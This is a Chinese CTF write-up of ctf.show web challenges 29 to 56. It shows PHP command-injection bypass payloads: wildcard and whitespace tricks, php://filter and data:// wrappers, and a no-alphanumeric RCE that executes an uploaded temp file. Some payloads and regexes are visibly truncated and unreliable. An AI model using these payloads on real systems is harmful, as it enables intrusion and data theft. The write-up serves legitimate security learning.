ctf.show web入门(命令执行)29~56

可以先学习一下命令执行绕过小技巧

web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

preg_match()函数学习一下:

preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0

在这个正则里边有一个参数是i,这个在正则表达式里边是不区分大小写的一个参数

if(!preg_match("/flag/i", $c)){

只过滤flag【不区分大小写】

查看目录

?c=system('ls');

 获取flag.php ,关键字flag过滤,使用通配符? ,进去后看源码才行,我刚开始还以为不对

http://a111e37a-dea4-4ef4-8e83-c190d2a32321.challenge.ctf.show/?c=system("cat fla?.php");

:cp命令将flag.php保存到1.txt 再去访问1.txt

http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/?c=system("cp fla?.php 1.txt");
http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/1.txt

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次过滤了flag,system,php,

用` ` 来代替system()


http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/?c=`cp fla?.p?? 1.txt`;
http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/1.txt

web31

这题就过滤的更多了,包括cat 空格 都过滤了

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,

得到空白页面右击看源码才能得到flag

ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');

 将cat 换成 tac 就可以直接看到flag,tac 是 cat 的反向显示

ctf.show/?c=eval($_GET[1]);&1=system('tac flag.php');

 也可以将空白用%09替代

ctf.show/?c=echo`tac%09fl*`;

web32

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);

反引号,分号,括号 都不能用

没有括号的话不能使用上一题的eval(),所以要用没有括号的函数 比如include

分号可以用?>代替

还需要配合伪协议,通过特定的通道读取文件

/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

拿到的是bsae64的数据,再去解码即可

web33

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);

多过滤了一个"

使用上一题的方法一样可以出来,那换一个函数用require,也是一样的

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web34

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);

多过滤了一个冒号,也不影响我们使用上面的方法

/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

多过滤了< =,与上题题解一样

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);

不能使用数字,将1用a代替即可,GET[a],里面可以不用单引号

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

 if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }

 通过data://text/plain协议来进行漏洞利用

/?c=data://text/plain,

web38

if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;

多过滤了php,file

使用上一题的方式就行,需要把php换成=   即    、

/?c=data://text/plains,

web39

$c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

加了个后缀.php ,但是依旧不影响用data协议

/?c=data://text/plains,

 只是后面多了个.php

web40

$c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);

 过滤了很多字符,每几个能用的

无参数读文件和RCE总结_合天网安学院-CSDN博客

看大佬文章学习 

print_r(scandir(current(localeconv())));成功打印出当前目录下文件:

也可以用print_r(scandir(getcwd()));

 flag是倒数第二个我们可以用:show_source(next(array_reverse(scandir(getcwd()))));

利用array_reverse()进行把数组翻转,再利用next()函数取到flag.php

/?c=show_source(next(array_reverse(scandir(getcwd()))));

web41

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");

数字字母都不能用了,比较麻烦,大概意思就是通过一些字符互相运算后构造得到我们的payload

这个博客,不会用第二个脚本

web42

$c=$_GET['c'];
    system($c." >/dev/null 2>&1");

>/dev/null 首先表示标准输出重定向到空设备文件,说白了就是不显示任何信息。 

2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

我们要让命令回显,使用双写命令,让后面那条命令进黑洞,好像可以为空,可以进行命令分隔

;    //分号
|    //只执行后面那条命令
||    //只执行前面那条命令
&    //两条命令都会执行
&&    //两条命令都会执行

/?c=tac flag.php;

web43

if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了cat和分号,

?c=tac flag.php ||

web44

if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }

flag禁用,通配符安排

/?c=tac fl* ||

web45

if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");

多过滤了一个空格,空格用%09绕过就行

/?c=tac%09fl*||

web46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了* 还有? 

/?c=tac%09fla?.php||

web47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了很多命令,但是tac还能用

/?c=tac%09fla?.php||

web48

与上题一样

web49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了%,可以用<,且%09依然可以继续使用,因为%09是编码 不属于% 也不属于数字

/?c=tac%09fla?.php||

web50

 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");

 这下%09不能使用了 用<代替 ''替代通配符

/?c=tac

web51

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");

tac被禁了,用nl读取

/?c=nl

web52

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\/dev/null 2>&1");

<和>都没了,但是$放出来了,空格可以用${IFS}来绕过 

/?c=nl${IFS}fl''ag.php||

得到一个假的flag,所以藏flag的地方不是flag.php ,惯性思维了

去查看根目录下文件

/?c=ls${IFS}/||

查看这个flag

/?c=nl${IFS}/fl''ag||

web53

$c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\".$d;

system返回值,是返回命令输出的最后一行,错误就返回false

先是把命令进行显示,然后执行这个命令之后的最后一行输出给变量d,最后输出变量d的内容。

但是system自带回显,所以在执行system命令的时候就已经输出了flag.php的全部内容 

/?c=nl${IFS}fl''ag.php

web54

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\

 .*加起来的作用就是匹配除换行符 \n 之外的任何单字符零次或多次。

1.paste 指令

/?c=paste${IFS}fla?.php

2.grep 指令(用于查找内容包含指定的范本样式的文件)

/?c=grep${IFS}'{'${IFS}fla?.php
意思是在fla?.php文件中 查找有{符号的一行并显示

 3.mv保存文件 , cp保存文件,由于过滤的原因小心选取txt文件名 选择z可以

/?c=mv${IFS}fla?.php${IFS}z.txt
/?c=cp${IFS}fla?.php${IFS}z.txt

还有bin目录

/?c=/bin/base??${IFS}????????    然后base64解码
/?c=/bin/ca?${IFS}????????       然后查看源代码

web55

 $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\

  过滤了字母 

1.

查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。

匹配到/bin目录下的命令

cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

发现存在一个base64,我们就可以通过通配符进行匹配命令执行查看flag.php

这个不是通用的,因为base64不是每个机器都有

即 /bin/base64 flag.php

/?c=/???/????64 ????.???    然后解码

 2.

我们可以利用/usr/bin下的bzip2,bzip2是linux下面的压缩文件的命令

也就是/usr/bin/bzip2 flag.php ,然后访问/flag.php.bz2进行下载获得flag.php

/?c=/???/???/????2 ????.???

3.

无字母数字webshell之提高篇 | 离别歌、

无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客

构造一个上传文件的脚本




    
    
    POST数据包POC



随便选取一个文件并抓包,一定要在原来文件内容的位置上写我们的命令

ctf.show web入门(命令执行)29~56_第1张图片

 ctf.show web入门(命令执行)29~56_第2张图片

web56

$c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\

相较于上题,把数字也ban了,所以使用无数字字母rce 也就是第三种方式

 格式是固定的/?c=.%20/???/????????[@-[] 

点命令(.)
.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那就可以利用.来执行它

可控文件
这个可控文件怎么得到?我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
 

ctf.show web入门(命令执行)29~56_第3张图片

你可能感兴趣的:(刷题,wp,php,web安全,ctf)